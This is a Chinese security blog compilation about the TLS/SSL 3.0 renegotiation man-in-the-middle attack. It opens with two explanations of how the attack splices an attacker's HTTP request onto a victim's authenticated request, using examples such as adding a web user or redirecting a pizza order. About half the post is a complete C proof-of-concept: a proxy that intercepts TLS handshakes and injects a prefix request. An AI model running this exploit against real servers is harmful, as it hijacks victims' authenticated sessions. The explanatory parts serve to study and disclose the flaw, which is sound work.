# 鬼仔:综合帖,有云舒写的,有Sowhat写的,最后还有一个POC。
作者:云舒
摘要:sowhat大牛今天介绍了国外一 种的新的针对TLS/SSL3.0的攻击方式,貌似关注的人不多,所以我特地看了一下那个PDF,稍微八 卦一下。
这个攻击是非常巧妙的,主要是利用了TLS/SSL 3.0重置加密算法机制和HTTP协议请求头的key、value结构,实现了多次数据的组合以完成自己想要的请求,从攻击效果来看有点类似CSRF攻击。主要步骤如下:
1. 攻击者连接目标站点完成SSL握手称为session 1,并发送GET /adduser.jsp?u=yunshu&passwd=123 HTTP/1.1/r/nFVCK: 之类的数据包。
2. 攻击者劫持被攻击者访问目标站点的数据,在session 1中转发被攻击者与目标服务器之间的SSL握手,被攻击者和目标服务器完成握手称为session 2。
4. 目标站点和被攻击者通过攻击者的转发完成握手,在session 2中被攻击者发送自己的请求数据到目标服务器,类似于GET / HTTP/1.1/r/nHost: www.xxx.com/r/nAccept: */*/r/nCookie: admin=1/r/n/r/n之类的数据。
5. 目标站点在一个SSL Session 1中接收到一个新的SSL Client Hello时,会认为客户端是在要求重新生成密钥,因为在目标服务器看来session 2也是攻击者发过来的,而且是相同的TCP session中。最终导致目标服务器认为session 2是session 1密钥重置之后的延续,会将两次的数据组合到一起。
6. 最终数据如下:GET /adduser.jsp?u=yunshu&passwd=123 HTTP/1.1/r/nFVCK: GET / HTTP/1.1/r/nHost: www.xxx.com/r/nAccept: */*/r/nCookie: admin=1/r/n/r/n。FVCK字段服务器不认识,真实请求GET / HTTP/1.1当成了FVCK字段的值,一起被忽略掉,攻击者成功的执行了添加WEB系统用户的操作。
=================================================
作者:Sowhat
新的TLS/SSL3.0中间人攻击已公布 – TLS renegotiation attack
刚刚有研究人员公布了一种针对TLS/SSL的中间人攻击, 该攻击
1. exploitable (可操作性比较强)
2. 目前还没有解决方案, 等待各厂商出补丁.
3. 受影响的上层协议包括HTTPS,IMAP, SIP等等.
有人举了下面这个例子来帮助大家理解此洞
E.g., the attacker would send:
GET /pizza?toppings=pepperoni;address=attackersaddress HTTP/1.1
X-Ignore-This:
And leave the last line empty without a carriage return line feed. Then when the client makes his own request
GET /pizza?toppings=sausage;address=victimssaddress HTTP/1.1
Cookie: victimscookie
the two requests get glued together into:
GET /pizza?toppings=pepperoni;address=attackersaddress HTTP/1.1
X-Ignore-This: GET /pizza?toppings=sausage;address=victimssaddress HTTP/1.1
Cookie: victimscookie
And the server uses the victim’s account to send a pizza to the attacker.
whitepaper的全文: http://extendedsubset.com/Renegotiating_TLS.pdf
=====================================================
#include <errno.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/time.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <openssl/ssl.h> #include <openssl/ssl3.h> void fail(const char *proc) { perror(proc); exit(1); } void setup_server (int *sock, int port) { struct sockaddr_in sa; int s, r, i; s = socket(AF_INET, SOCK_STREAM, 0); if (s == -1) fail("setup_server:socket"); i = 1; r = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)); if (r == -1) fail("setup_server:setsockopt(SO_REUSEADDR)"); memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_addr.s_addr = INADDR_ANY; sa.sin_port = htons(port); r = bind(s, (struct sockaddr *) &sa, sizeof(sa)); if (r == -1) fail("setup_server:bind"); r = listen(s, 5); if (r == -1) fail("setup_server:listen"); *sock = s; } void do_accept (int *accepted, int sock) { struct sockaddr_in sa; socklen_t sl; int s; sl = sizeof(sa); s = accept(sock, (struct sockaddr *) &sa, &sl); if (s == -1) fail("do_accept:accept"); fprintf(stderr, "accepted %s:%d/n", inet_ntoa(sa.sin_addr), ntohs(sa.sin_port)); *accepted = s; } void setup_client (int *sock, in_addr_t ip, int port) { struct sockaddr_in sa; int s, r; s = socket(AF_INET, SOCK_STREAM, 0); if (s == -1) fail("setup_server:socket"); memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_addr.s_addr = ip; sa.sin_port = htons(port); r = connect(s, (struct sockaddr *) &sa, sizeof(sa)); if (r == -1) fail("setup_client:connect"); *sock = s; } int xread (int fd, unsigned char *buf, size_t len) { int r, rlen; rlen = 0; while (len > 0) { r = read(fd, buf, len); if (r == 0) break; else if (r == -1) return -1; buf += r; len -= r; rlen += r; } return rlen; } struct ssl_io_t { SSL *ssl; int fd; int raw; }; extern int ssl3_read_bytes (SSL *s, int type, unsigned char *buf, int len, int peek); int rec_read (struct ssl_io_t *io, unsigned char *buf) { int r, l; #if 0 fprintf(stderr, "rec read %s/n", io->raw & 1 ? "raw" : "cooked"); #endif if (io->raw & 1) { r = xread(io->fd, buf, 5); if (r == 0) return 0; else if (r != 5) fail("rec_read:read1"); if (buf[0] != 0x80) l = (buf[3] << 8) + buf[4]; else /* ssl2 hack */ /* fail("rec_read:ssl2"); */ l = (buf[1]) - 3; if (l < 0 || l > (1 << 15)) { errno = EINVAL; fail("rec_read:reclen"); } r = xread(io->fd, buf + 5, l); if (r != l) fail("rec_read:read2"); l += 5; return l; } else { r = ssl3_read_bytes(io->ssl, SSL3_RT_HANDSHAKE, buf + 5, 1<<15, 0); if (r == 0) return 0; else if (r < 0) { if (io->ssl->s3->change_cipher_spec) { buf[0] = 0x14; buf[1] = (io->ssl->version >> 8); buf[2] = (io->ssl->version & 0xff); buf[3] = 0; buf[4] = 1; buf[5] = 1; io->raw |= 1; io->ssl->s3->change_cipher_spec = 0; return 6; } fail("rec_read:ssl3_read_bytes"); } l = r; buf[0] = io->ssl->s3->rrec.type; buf[1] = (io->ssl->version >> 8); buf[2] = (io->ssl->version & 0xff); buf[3] = (l >> 8); buf[4] = (l & 0xff); return l + 5; } } extern int ssl3_write_bytes (SSL *s, int type, const void *buf_, int len); void rec_write (struct ssl_io_t *io, unsigned char *buf, size_t len) { int r; #if 0 fprintf(stderr, "rec write %s/n", io->raw & 2 ? "raw" : "cooked"); #endif if (io->raw & 2) { r = write(io->fd, buf, len); if (r != len) fail("rec_write:write"); } else { r = ssl3_write_bytes(io->ssl, buf[0], buf + 5, len - 5); if (r < 0) { fail("rec_read:ssl3_write_bytes"); } if (buf[0] == 0x14) { io->raw |= 2; } } } void ssl_io (struct ssl_io_t *assl, struct ssl_io_t *cssl) { struct ssl_io_t *ssls[2]; int maxfd, active; int i, r, l; fd_set rfd; unsigned char buf[1 << 16]; ssls[0] = assl; ssls[1] = cssl; active = 3; maxfd = 0; for (i = 0; i < 2; i++) if (ssls[i]->fd >= maxfd) maxfd = ssls[i]->fd + 1; while (active) { FD_ZERO(&rfd); for (i = 0; i < 2; i++) if (active & (1 << i)) FD_SET(ssls[i]->fd, &rfd); r = select(maxfd, &rfd, NULL, NULL, NULL); if (r == -1) fail("rec_io:select"); for (i = 0; i < 2; i++) { if (active & (1 << i) && FD_ISSET(ssls[i]->fd, &rfd)) { r = rec_read(ssls[i], buf); if (r == 0) { shutdown(ssls[i]->fd, SHUT_RD); shutdown(ssls[1 - i]->fd, SHUT_WR); active &= ~(1 << i); continue; } l = r; rec_write(ssls[1 - i], buf, l); } } } } void setup_ssl_ctx (SSL_CTX **ctx) { OpenSSL_add_ssl_algorithms(); SSL_load_error_strings(); *ctx = SSL_CTX_new(SSLv3_client_method()); if (!*ctx) fail("setup_ssl_ctx:SSL_CTX_new"); } void setup_ssl_io (struct ssl_io_t *io, SSL_CTX *ctx, int sock, int raw) { SSL *ssl; BIO *bio; ssl = SSL_new(ctx); if (!ssl) fail("setup_ssl_ctx:SSL_new"); bio = BIO_new_socket(sock, BIO_NOCLOSE); if (!bio) fail("setup_ssl_ctx:BIO_new_socket"); SSL_set_bio(ssl, bio, bio); SSL_set_connect_state(ssl); io->ssl = ssl; io->fd = sock; io->raw = raw; } int bogus_change_cipher_state (SSL *ssl, int i) { return 0; } /* stolen from ssl_locl.h */ typedef struct ssl3_enc_method { int (*enc)(SSL *, int); int (*mac)(SSL *, unsigned char *, int); int (*setup_key_block)(SSL *); int (*generate_master_secret)(SSL *, unsigned char *, unsigned char *, int); int (*change_cipher_state)(SSL *, int); int (*final_finish_mac)(SSL *, EVP_MD_CTX *, EVP_MD_CTX *, const char *, int, unsigned char *); int finish_mac_length; int (*cert_verify_mac)(SSL *, EVP_MD_CTX *, unsigned char *); const char *client_finished_label; int client_finished_label_len; const char *server_finished_label; int server_finished_label_len; int (*alert_value)(int); } SSL3_ENC_METHOD; #define TRICK "GET /ble HTTP/1.0/r/nX-Blah: " void hack_ssl (struct ssl_io_t *assl, struct ssl_io_t *cssl) { int r, l; unsigned char buf[1 << 16]; SSL_METHOD *mth; r = rec_read(assl, buf); if (r <= 0) fail("hack_ssl:rec_read:no i/o"); l = r; if (buf[0] == 0x16 && buf[1] == 3 && (buf[2] == 0 || buf[2] == 1)) { cssl->raw = 0; r = SSL_CTX_set_ssl_version (cssl->ssl->ctx, buf[2] == 0 ? SSLv3_client_method() : TLSv1_client_method()); if (r != 1) fail("hack_ssl:SSL_CTX_set_ssl_version"); r = SSL_clear(cssl->ssl); if (r != 1) fail("hack_ssl:SSL_clear"); r = SSL_connect(cssl->ssl); if (r != 1) fail("hack_ssl:SSL_connect"); /* ssl3_setup_buffers(io->ssl); ssl_get_new_session(io->ssl, 0); */ r = SSL_write(cssl->ssl, TRICK, sizeof(TRICK)-1); if (r != sizeof(TRICK)-1) fail("hack_ssl:SSL_connect"); cssl->ssl->in_handshake++; cssl->ssl->method->ssl3_enc->change_cipher_state = bogus_change_cipher_state; } else { /* schedule suicide */ alarm(5); } rec_write(cssl, buf, l); } #define HTTP_OK "HTTP/1.0 200 Connected/r/n/r/n" void handle_http_req (int sock, in_addr_t *ip, int *port) { int r, l, k; unsigned char buf[1 << 16]; char str[100]; unsigned short num; struct hostent *he; l = 0; for (;;) { r = read(sock, buf + l, sizeof(buf)-1 - l); if (r <= 0) fail("handle_http_req:read"); for (k = l; r > 0; ++k, --r) if (buf[k] != '/r') buf[l++] = buf[k]; if (l >= 2 && buf[l-1] == '/n' && buf[l-2] == '/n') break; if (l >= sizeof(buf)-1) fail("handle_http_req:req too big"); } buf[l] = '/0'; r = sscanf(buf, "CONNECT %99[0-9A-Za-z.-]:%hu", str, &num); if (r != 2) fail("handle_http_req:bad request"); he = gethostbyname(str); if (he == NULL || he->h_length != sizeof(in_addr_t)) fail("handle_http_req:gethostbyname"); r = write(sock, HTTP_OK, sizeof(HTTP_OK)-1); if (r != sizeof(HTTP_OK)-1) fail("handle_http_req:write"); *ip = *(in_addr_t *)(he->h_addr_list[0]); *port = num; } int main (int argc, const char **argv) { pid_t pid; int ssock, asock, csock; SSL_CTX *ctx; in_addr_t ip; int port; struct ssl_io_t assl, cssl; setup_ssl_ctx(&ctx); setup_server(&ssock, atoi(argv[1])); for (;;) { do_accept(&asock, ssock); pid = fork(); if (pid == -1) fail("main:fork"); else if (pid == 0) { close(ssock); handle_http_req(asock, &ip, &port); setup_client(&csock, ip, port); setup_ssl_io(&assl, ctx, asock, 3); setup_ssl_io(&cssl, ctx, csock, 3); hack_ssl(&assl, &cssl); ssl_io(&assl, &cssl); return 0; } else { close(asock); } } }
==================
cnbeta新闻:
[详讯]安全专家发现TLS/SSL保密协议存在致命漏洞 http://www.cnbeta.com/articles/97197.htm
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论